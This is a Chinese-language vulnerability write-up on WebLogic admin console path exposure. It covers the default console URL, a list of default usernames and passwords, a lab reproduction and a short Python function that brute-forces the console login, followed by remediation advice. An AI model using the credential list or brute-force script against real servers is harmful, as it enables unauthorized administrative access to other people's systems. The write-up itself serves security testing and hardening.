Weblogic_控制台路径泄露
- 1 漏洞概述
- 1.1 基础知识
- 1.2 漏洞概述
- 2 漏洞原理分析
- 3 漏洞复现
- 3.1 环境搭建
- 3.2 漏洞利用
- 4 漏洞修复
- 5 其他
1 漏洞概述
1.1 基础知识
要了解这个漏洞首先我们要了解一个概念,什么是web服务器控制台,它有什么作用和影响:
对于weblogic控制台来讲:Weblogic有一个Web端的管理控制台,关于Weblogic的操作、Web服务的配置及程序管理等都可以通过这个控制台进行操作。
1.2 漏洞概述
由于各种web中间件默认路径可能都存在控制台页面路径泄露的情况,这就是我们的一个攻击面,一旦我们可以获取到这个控制台权限,我们就可以对网站进行一些高危操作。
风险等级:
【高危】:可访问默认中间件控制台,且能过成功获取 shell。
【中危】:可访问默认中间件控制台,并成功登录,但无法获取 shell。
【低危】:可访问默认中间件控制台,但无法登录且无法执行危险操作。
2 漏洞原理分析
1:如果产品部署了控制台功能,并且模块路径为默认路径,就存在控制台路径的泄露问题。
Weblogic控制台默认路径:http://127.0.0.1:7001/console/login/LoginForm.jsp
2:如果控制台的页面账户密码为默认账户名和密码,则存在弱口令的问题。
Welogic默认账户名和密码:WebLogic’, ‘weblogic’, ‘Oracle@123’, ‘password’, ‘system’, ‘Administrator’, ‘admin’, ‘security’, ‘joe’, ‘wlcsystem’, ‘wlpisystem’
3 漏洞复现
通过上述分析,我们发现可以通过探访web服务器控制台界面的默认路径,来查看是否开启了这个控制台页面,如果存在,我们再进行默认密码爆破。
3.1 环境搭建
两种方式:1:下载weblogic jar包安装 2:使用dockers镜像
Weblogic版本:10.3.6(11g)
3.2 漏洞利用
Step1:手动登录或使用脚本探索weblogic控制台默认路径
1:方式一:手动登录:
http://127.0.0.1:7001/console/login/LoginForm.jsp
2:方式二:使用脚本:
Step2:对账户密码进行爆破
方式一:使用脚本进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | def weakPasswd(self): """weak password""" pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem'] for user in pwddict: for pwd in pwddict: data = { 'j_username':user, 'j_password':pwd, 'j_character_encoding':'UTF-8' } req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False) if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text: print('[+] WebLogic username: '+user+' password: '+pwd) |
方式二:使用burpsuite进行密码爆破
4 漏洞修复
1:如果远程部署功能的确需要,建议修改默认的模块名称。
2:修改控制台密码
5 其他
这个控制台密码的加密方式为weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;则会部分我们后续再进行操作